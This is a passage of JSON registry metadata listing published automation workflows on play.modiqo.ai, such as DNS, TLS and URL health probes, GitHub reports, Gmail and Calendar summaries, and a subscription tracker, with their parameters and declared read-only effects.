link","example":"https://example.com/account/login"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:7251669a93959091a6622c154ab72566ad8d55ead41fda2e7f072f35f20b2847","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":6,"kinds":{"api":0,"shell":6,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":4,"fan_out":0,"for_each_steps":0,"complexity":6,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":6}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/lakshay/site-go-live-check@0.1.0","reference":"lakshay/site-go-live-check@0.1.0","uri":"https://play.modiqo.ai/lakshay/site-go-live-check@0.1.0","manifest_uri":"https://play.modiqo.ai/lakshay/site-go-live-check@0.1.0","name":"site-go-live-check","title":"site-go-live-check","description":"Before you send traffic, ask: is this hostname ready to go live? One command checks DNS (A/AAAA), TLS certificate days-left, and HTTPS status/HSTS, then returns GO / GO WITH WATCH / NO-GO. How to use: rote play run play.modiqo.ai/lakshay/site-go-live-check hostname=example.com path=/ Public probes only. No credentials. No writes. Needs python3 + openssl.","owner":{"kind":"user","slug":"lakshay"},"registry_organization":"lakshay","tags":["tool-dns","tool-tls","effect-read-only","job-go-live","web-operations","productivity"],"primary_domain":"domain-uncategorized","author":"lakshay","version":"0.1.0","published_at":"2026-09-05T07:18:04.085572+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":5421,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":5,"names":["assess","check_dns","check_tls","check_http","validate_host"]},"parameters":[{"name":"hostname","type":"string","required":true,"description":"Public hostname to check, like app.example.com (no https:// needed)","example":"example.com"},{"name":"path","type":"string","required":false,"default":"/","description":"HTTPS path to probe, usually / or /health","example":"/"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:2020ac1987088c9bfd90fe7138722fddcc42e6f313778dda9504b605f1949fc8","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":5,"kinds":{"api":0,"shell":5,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":3,"fan_out":0,"for_each_steps":0,"complexity":5,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":5}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/combined-repo-overview@0.0.2","reference":"aaryanp/combined-repo-overview@0.0.2","uri":"https://play.modiqo.ai/aaryanp/combined-repo-overview@0.0.2","manifest_uri":"https://play.modiqo.ai/aaryanp/combined-repo-overview@0.0.2","name":"combined-repo-overview","title":"combined-repo-overview","description":"Runs repo-health-snapshot (top committers + recent issues via GitHub) and loc-by-language (lines of code per extension in a local checkout) for the same repository, then merges both into one combined repo-overview report.","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","github","process","repo-overview","loc","explore","create","calling","own","published","together","merging","their","outputs","summary"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.2","published_at":"2026-09-05T07:15:19.243159+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":4412,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":2,"names":["run_health_snapshot","run_loc_by_language"]},"parameters":[{"name":"owner","type":"string","required":true,"description":"GitHub repository owner (e.g. octocat)"},{"name":"repo","type":"string","required":true,"description":"GitHub repository name"},{"name":"days","type":"integer","required":false,"default":"30","description":"Only include issues opened within this many days"},{"name":"directory","type":"string","required":true,"description":"Absolute path to a local checkout of the same repository, to scan for lines of code"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:5c8e4a44eb881fd6cee0a9cda9dd695dcdc077ab4843286d1afa1a4092f8ed21","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":2,"kinds":{"api":0,"shell":2,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":1,"width":2,"fan_out":0,"for_each_steps":0,"complexity":2,"apis":[],"tools":[{"name":"rote","kind":"tool","source":"declared","count":2}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":1,"label":"node"}},{"id":"https://play.modiqo.ai/bhanu82/url-pulse@0.1.1","reference":"bhanu82/url-pulse@0.1.1","uri":"https://play.modiqo.ai/bhanu82/url-pulse@0.1.1","manifest_uri":"https://play.modiqo.ai/bhanu82/url-pulse@0.1.1","name":"url-pulse","title":"url-pulse","description":"Pulse a list of public http(s) URLs in parallel with curl. Splits a comma-separated list, fans out one probe per URL, and joins a table of status codes. 2xx/3xx are reachable; 4xx/5xx queue review. Relative URLs are dropped. Zero keys. Default: example.com, iana.org, play.modiqo.ai.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-url-pulse","audience-developers","curl"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.1","published_at":"2026-09-05T07:13:32.52183+00:00","visibility":"public","quality_score":1,"size_bytes":5911,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["list_urls","probe_url","selfcheck"]},"parameters":[{"name":"urls","type":"string","required":false,"default":"https://example.com,https://iana.org/domains/example,https://play.modiqo.ai","description":"Comma-separated absolute http(s) URLs. Relative entries are dropped. Empty uses the default three.","example":"https://example.com,https://iana.org/domains/example"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:3b63152577ead291f565affaf102b4c25edc0c3238cdc966bedfaa6cae8d6945","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":6,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"curl","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/dns-a-pulse@0.1.1","reference":"bhanu82/dns-a-pulse@0.1.1","uri":"https://play.modiqo.ai/bhanu82/dns-a-pulse@0.1.1","manifest_uri":"https://play.modiqo.ai/bhanu82/dns-a-pulse@0.1.1","name":"dns-a-pulse","title":"dns-a-pulse","description":"Pulse DNS A records for a list of public hostnames. Splits a comma-separated list, fans out one dig A per host, and joins a table of addresses. Empty answers queue review. Relative URLs are dropped. Zero keys. Default: example.com, iana.org, play.modiqo.ai.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-dns-a-pulse","audience-developers","dns","dig"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.1","published_at":"2026-09-05T07:13:29.700973+00:00","visibility":"public","quality_score":1,"size_bytes":5602,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["selfcheck","list_hosts","probe_host"]},"parameters":[{"name":"hosts","type":"string","required":false,"default":"example.com,iana.org,play.modiqo.ai","description":"Comma-separated public hostnames. Schemes, paths, and relative entries are dropped. Empty uses the default three.","example":"example.com,iana.org"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:e3daada4c9af162f6137a22cc574b740fd7f200d22b5599b78b474ecfe58f7b7","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":6,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":2},{"name":"dig","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/cruse1914/github-stale-issue-auditor@0.0.1","reference":"cruse1914/github-stale-issue-auditor@0.0.1","uri":"https://play.modiqo.ai/cruse1914/github-stale-issue-auditor@0.0.1","manifest_uri":"https://play.modiqo.ai/cruse1914/github-stale-issue-auditor@0.0.1","name":"github-stale-issue-auditor","title":"github-stale-issue-auditor","description":"Scans any GitHub repository for stale, inactive issues and outputs a clean markdown summary report.","owner":{"kind":"user","slug":"cruse1914"},"registry_organization":"cruse1914","tags":[],"primary_domain":"domain-uncategorized","author":"cruse1914","version":"0.0.1","published_at":"2026-09-05T06:55:55.434759+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":923,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":0,"names":[]},"parameters":[],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:69b4ba4b45e9d351f447864215a7e4d7faf4950ed56536dfcedd8d2d3dc4f6d6","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":0,"kinds":{"api":0,"shell":0,"browser":0,"auth":0,"other":0},"distinct_kinds":0,"depth":0,"width":0,"fan_out":0,"for_each_steps":0,"complexity":0,"apis":[],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":0,"label":"github"}},{"id":"https://play.modiqo.ai/aaryanp/meeting-attendee-unread-email-check@0.0.1","reference":"aaryanp/meeting-attendee-unread-email-check@0.0.1","uri":"https://play.modiqo.ai/aaryanp/meeting-attendee-unread-email-check@0.0.1","manifest_uri":"https://play.modiqo.ai/aaryanp/meeting-attendee-unread-email-check@0.0.1","name":"meeting-attendee-unread-email-check","title":"meeting-attendee-unread-email-check","description":"Lists upcoming Google Calendar events in a lookahead window and reports unread Gmail messages from each meeting's other attendees, using only Calendar and Gmail (no GitHub/Linear).","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","calendar","gmail","gmail-api","meeting-prep","unread-email"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.1","published_at":"2026-09-05T06:35:07.388857+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":4696,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":8,"names":["get_profile","list_events","auth_calendar","auth_gmail_api","compute_time_max","compute_time_min","compute_meeting_queries","list_unread_per_meeting"]},"parameters":[{"name":"calendar_id","type":"string","required":false,"default":"primary","description":"Google Calendar ID to read events from"},{"name":"hours","type":"integer","required":false,"default":"72","description":"Lookahead window in hours from now"}],"execution":{"adapters":[{"id":"aaryanp/gmail-api","name":"gmail-api","version":null,"credential_status":"required"},{"id":"modiqo/calendar","name":"calendar","version":null,"credential_status":"required"},{"id":"gmail-api","name":"gmail-api","version":null,"credential_status":"required"},{"id":"calendar","name":"calendar","version":null,"credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d96862bb82024f19ae77b1631ccefe0def8f2707381b5b7ba5afae7baf0a4765","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":8,"kinds":{"api":3,"shell":3,"browser":0,"auth":2,"other":0},"distinct_kinds":2,"depth":4,"width":4,"fan_out":1,"for_each_steps":1,"complexity":16,"apis":[{"adapter":"gmail-api","steps":3,"methods":["gmail.users.getProfile","gmail.users.messages.list"],"display_name":"gmail-api","host":"gmail.googleapis.com","kind":"rest","tools":79,"fingerprint":"mcp_PhLfwGhVQruqiYd4xenSWFzWQDa","source":"aaryanp/gmail-api","version":"1.0.0","protocol":null,"credentials":[]},{"adapter":"calendar","steps":2,"methods":["calendar.events.list"],"display_name":"Calendar API","host":"www.googleapis.com/calendar/v3","kind":"rest","tools":37,"fingerprint":"mcp_39UEoxu3DX9zayEgtzXN8HtJxnxy","source":"modiqo/calendar","version":"0.0.4","protocol":null,"credentials":[]}],"tools":[{"name":"sh","kind":"tool","source":"declared","count":2},{"name":"python3","kind":"tool","source":"declared","count":1}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":2,"tools":116},"cost":{"api_tokens":17154,"context_tokens":2051,"exploration_ms":3457,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/bhanu82/morning-handoff-court@0.1.0","reference":"bhanu82/morning-handoff-court@0.1.0","uri":"https://play.modiqo.ai/bhanu82/morning-handoff-court@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/morning-handoff-court@0.1.0","name":"morning-handoff-court","title":"morning-handoff-court","description":"Before you type this morning: probes git dirt, plan checkboxes vs commit subjects, instruction files, secret-shaped names (listed never opened), and open loops; ranks the top three blockers; walks a sequential load-check-record trial. CONTRADICTED keeps the clean-start claim and the dirty evidence. Relative paths refused. Empty args run the bundled fixture pack. Read-only, zero keys, python3.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-morning-handoff","audience-developers","agent-governance","daily-habit"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-05T05:56:02.208832+00:00","visibility":"public","quality_score":1,"size_bytes":13892,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":18,"names":["probe_git","selfcheck","join_brief","probe_plan","probe_loops","verify1_load","verify2_load","verify3_load","probe_secrets","rank_blockers","verify1_check","verify2_check","verify3_check","discover_scope","verify1_record","verify2_record","verify3_record","probe_instructions"]},"parameters":[{"name":"repo","type":"string","required":false,"default":"","description":"Absolute git repo path. Empty uses the bundled fixture pack. Relative paths are refused.","example":"/home/user/my-repo"},{"name":"transcript","type":"string","required":false,"default":"","description":"Absolute JSONL transcript path. Empty uses the bundled session in fixture mode.","example":"/home/user/.claude/projects/session.jsonl"},{"name":"claimed_summary","type":"string","required":false,"default":"","description":"Optional one-line claim such as workspace is clean. Empty reads the fixture claim.","example":"workspace is clean; ready to start"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:d4ee6b958b5200a97d506bcc4246bc9e939f6ca9958174d834c8e5db5e1036ba","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":18,"kinds":{"api":0,"shell":18,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":13,"width":5,"fan_out":0,"for_each_steps":0,"complexity":18,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":18}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/bhanu82/tls-notafter@0.1.0","reference":"bhanu82/tls-notafter@0.1.0","uri":"https://play.modiqo.ai/bhanu82/tls-notafter@0.1.0","manifest_uri":"https://play.modiqo.ai/bhanu82/tls-notafter@0.1.0","name":"tls-notafter","title":"tls-notafter","description":"Pulse live TLS notAfter for a list of public hostnames. Splits a comma-separated list, fans out one handshake per host, and joins days-left against a warning horizon. Expired, unverified, or soon-expiring certs queue review. Relative URLs are dropped. Zero keys. Default: example.com, iana.org, play.modiqo.ai. Not a rotation-plan JSON model and not a committed-PEM scan.","owner":{"kind":"user","slug":"bhanu82"},"registry_organization":"bhanu82","tags":["effect-read-only","domain-agent-operations","job-tls-notafter","audience-developers","tls","public-web"],"primary_domain":"domain-agent-operations","author":"bhanu82","version":"0.1.0","published_at":"2026-09-05T05:39:40.457947+00:00","visibility":"public","quality_score":1,"size_bytes":6612,"license":"MIT","stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["selfcheck","list_hosts","probe_host"]},"parameters":[{"name":"hosts","type":"string","required":false,"default":"example.com,iana.org,play.modiqo.ai","description":"Comma-separated public hostnames. Schemes, paths, and relative entries are dropped. Empty uses the default three.","example":"example.com,iana.org"},{"name":"warn_days","type":"integer","required":false,"default":"30","description":"Warning horizon in days. A live notAfter inside this window queues review.","example":"14"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:23db3f46caa957b5417b34f885a7a3cd385675dc71dafb5692d1d587da277491","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":2,"width":2,"fan_out":6,"for_each_steps":1,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sundaram2021/google-global-trends@0.1.0","reference":"sundaram2021/google-global-trends@0.1.0","uri":"https://play.modiqo.ai/sundaram2021/google-global-trends@0.1.0","manifest_uri":"https://play.modiqo.ai/sundaram2021/google-global-trends@0.1.0","name":"google-global-trends","title":"google-global-trends","description":"Google top searches worldwide: 10-geo RSS union with person/topic split via Wikidata, one combined README table. Public sources, no credentials, chat Markdown output.","owner":{"kind":"user","slug":"sundaram2021"},"registry_organization":"sundaram2021","tags":["typescript","google-trends","top-searches","worldwide"],"primary_domain":"domain-uncategorized","author":"sundaram2021","version":"0.1.0","published_at":"2026-09-05T05:12:19.128022+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":10771,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["fetch_global","classify_person","render_combined"]},"parameters":[{"name":"window_days","type":"string","required":false,"default":"10","description":"Lookback window in days (1-30)"},{"name":"limit","type":"string","required":false,"default":"10","description":"How many rows in the combined table (1-50)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:f791c669f60695e87a6a4d317c5eb6c8c0758283125857d79682f73d95c5075b","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sundaram2021/ai-slop-detector@0.1.0","reference":"sundaram2021/ai-slop-detector@0.1.0","uri":"https://play.modiqo.ai/sundaram2021/ai-slop-detector@0.1.0","manifest_uri":"https://play.modiqo.ai/sundaram2021/ai-slop-detector@0.1.0","name":"ai-slop-detector","title":"ai-slop-detector","description":"AI slop detector: scores any public URL (repo, code file, site, blog) 0-100% slop with per-dimension subscores and evidence spans. Deterministic stdlib linter, no credentials, chat Markdown output.","owner":{"kind":"user","slug":"sundaram2021"},"registry_organization":"sundaram2021","tags":["typescript","ai-slop","detector","content-quality"],"primary_domain":"domain-uncategorized","author":"sundaram2021","version":"0.1.0","published_at":"2026-09-05T04:44:38.511613+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":10961,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":4,"names":["score_slop","render_slop","fetch_target","extract_prose"]},"parameters":[{"name":"url","type":"string","required":true,"description":"Public URL to analyze (GitHub/GitLab repo or file, website, blog)"},{"name":"max_files","type":"string","required":false,"default":"20","description":"Max repo files to scan (1-20)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:423f4a146fd92a001acc3f01d70c3c57e4edcd12729345cf79887eba4bd47a92","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":4,"kinds":{"api":0,"shell":4,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":4,"width":1,"fan_out":0,"for_each_steps":0,"complexity":4,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":4}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/sundaram2021/hf-trending-models@0.1.0","reference":"sundaram2021/hf-trending-models@0.1.0","uri":"https://play.modiqo.ai/sundaram2021/hf-trending-models@0.1.0","manifest_uri":"https://play.modiqo.ai/sundaram2021/hf-trending-models@0.1.0","name":"hf-trending-models","title":"hf-trending-models","description":"Top N trending AI models from Hugging Face, live: ranked table with likes, trendingScore, downloads, pipeline plus top-3 spotlight. Public API, no credentials, chat Markdown output.","owner":{"kind":"user","slug":"sundaram2021"},"registry_organization":"sundaram2021","tags":["typescript","huggingface","trending","models"],"primary_domain":"domain-uncategorized","author":"sundaram2021","version":"0.1.0","published_at":"2026-09-05T04:37:59.360603+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":5810,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["enrich_top","render_readme","fetch_trending"]},"parameters":[{"name":"sort","type":"string","required":false,"default":"trendingScore","description":"Ranking: trendingScore (daily momentum), likes, downloads, lastModified"},{"name":"limit","type":"string","required":false,"default":"10","description":"How many models to list (1-50)"},{"name":"pipeline","type":"string","required":false,"default":"","description":"Optional pipeline_tag filter, e.g. text-generation (empty = all)"}],"execution":{"adapters":[],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":false},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:0f56008d34c3b40e0d8f5a9e62790249ed44622db68fee202bf565be0d1338b5","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":0,"shell":3,"browser":0,"auth":0,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":0,"for_each_steps":0,"complexity":3,"apis":[],"tools":[{"name":"python3","kind":"tool","source":"declared","count":3}],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":0,"tools":0},"cost":null,"model":null,"sessions":false},"landscape":{"cluster":3,"label":"python3"}},{"id":"https://play.modiqo.ai/aaryanp/gmail-unread-inbox-summary@0.0.1","reference":"aaryanp/gmail-unread-inbox-summary@0.0.1","uri":"https://play.modiqo.ai/aaryanp/gmail-unread-inbox-summary@0.0.1","manifest_uri":"https://play.modiqo.ai/aaryanp/gmail-unread-inbox-summary@0.0.1","name":"gmail-unread-inbox-summary","title":"gmail-unread-inbox-summary","description":"Summarizes unread Gmail inbox messages: fetches the most recent messages matching a Gmail search query and lists subject, sender, date, and snippet for each, alongside the total unread count.","owner":{"kind":"user","slug":"aaryanp"},"registry_organization":"aaryanp","tags":["typescript","gmail-api","gmail","email","inbox-summary","explore"],"primary_domain":"domain-uncategorized","author":"aaryanp","version":"0.0.1","published_at":"2026-09-05T04:24:31.420756+00:00","visibility":"public","quality_score":0.524999976158142,"size_bytes":3834,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":3,"names":["auth_gmail","list_unread","fetch_metadata"]},"parameters":[{"name":"search_query","type":"string","required":false,"default":"is:unread in:inbox","description":"Gmail search query (Gmail search syntax) selecting which messages to summarize"},{"name":"max_results","type":"string","required":false,"default":"25","description":"Maximum number of matching messages to fetch and summarize"}],"execution":{"adapters":[{"id":"aaryanp/gmail-api","name":"gmail-api","version":null,"credential_status":"required"},{"id":"gmail-api","name":"gmail-api","version":"1.0.0","credential_status":"required"}],"browser":false,"browser_sign_in":false,"local_tools":[],"sessions":true},"effects":{"declared_writes":[],"credentials_remain_local":true,"publisher_receives_credentials":false,"requires_consent":false},"integrity":{"digest":"sha256:9f9406a9440bfd3eb69d6b19492844c528cee9e92e001290756b77986c187246","media_type":"application/vnd.modiqo.rote-flow","verified_by":"rote"},"shape":{"steps":3,"kinds":{"api":2,"shell":0,"browser":0,"auth":1,"other":0},"distinct_kinds":1,"depth":3,"width":1,"fan_out":1,"for_each_steps":1,"complexity":3,"apis":[{"adapter":"gmail-api","steps":3,"methods":["gmail.users.messages.get","gmail.users.messages.list"],"display_name":"gmail-api","host":"gmail.googleapis.com","kind":"rest","tools":79,"fingerprint":"mcp_PhLfwGhVQruqiYd4xenSWFzWQDa","source":"aaryanp/gmail-api","version":"1.0.0","protocol":null,"credentials":[]}],"tools":[],"writes":{"declared":[],"inferred":[],"tagged":false},"read_only":true,"credentials":[],"mcp":{"servers":1,"tools":79},"cost":{"api_tokens":90381,"context_tokens":9976,"exploration_ms":7104,"saved_per_run":null},"model":null,"sessions":true},"landscape":{"cluster":4,"label":"messages.list · deno"}},{"id":"https://play.modiqo.ai/pathan-security/subscription-free-trial-sentinel@1.0.0","reference":"pathan-security/subscription-free-trial-sentinel@1.0.0","uri":"https://play.modiqo.ai/pathan-security/subscription-free-trial-sentinel@1.0.0","manifest_uri":"https://play.modiqo.ai/pathan-security/subscription-free-trial-sentinel@1.0.0","name":"subscription-free-trial-sentinel","title":"subscription-free-trial-sentinel","description":"Subscription Free-Trial Sentinel: privacy-first, zero-config tracker for everyday subscriptions and 7-day free trials across Language, Fitness, Streaming, Education, Productivity, News, AI and SaaS. Scans ~/Downloads bank/statement CSVs, alerts before credit cards get charged, computes daily/monthly burn rates, flags zombie redundant apps with savings estimates, and generates 1-click .ics calendar reminders. Built-in demo dataset for instant testing.","owner":{"kind":"org","slug":"pathan-security"},"registry_organization":"pathan-security","tags":["subscriptions","free-trial","sentinel","budget","finance","bank-statement","calendar","personal"],"primary_domain":"domain-uncategorized","author":"Pathananash56","version":"1.0.0","published_at":"2026-09-05T04:10:58.63852+00:00","visibility":"public","quality_score":0.774999976158142,"size_bytes":19024,"license":null,"stats":{"downloads":1,"installs":0},"steps":{"count":1,"names":["sentinel_scan"]},"parameters":[{"name":"action","type":"string","required":false,"default":"auto","description":"Run mode: auto (scan CSVs + alert), summary, add (track an app/trial), demo (pre-loaded dataset), export-ics (calendar reminders), or check-alerts (daily cron)"},{"name":"days_notice","type":"integer","required":false,"default":7,"description":"Days notice for trial expiration alerts"},{"name":"currency","type":"string","required":false,"default":"$","description":"Currency symbol"},{"name":"format","type":"string","required":false,"default":"terminal","description":"Output format: terminal, markdown, or json"},{"name":"name","type":"string","required":false,"default":"","description":"App name for action=add, e.g. Duolingo, Notion, ChatGPT"},{"name":"category","type":"string","required":false,"default":"","description":"Category for action=add: language, fitness, streaming, education, productivity, ai, news, saas, other"},{"name":"price","type":"string","required":false,"default":"0","description":"Price for action=add"},{"name":"cycle","type":"string","required":false,"default":"monthly","description":"Billing cycle for action=add: monthly, yearly, weekly, daily, once"},{"name":"next_billing","type":"string","required":false,"default":"","description":"Next billing date YYYY-MM-DD for action=add"},{"name":"trial_end","type":"string","required":false,"default":"","description":"Free trial end date YYYY-MM-DD for action=add (tracks a 7-day trial)"},{"name":"cancel_url","type":"string","required":false,"default":"","description":"Cancellation/deactivation URL for 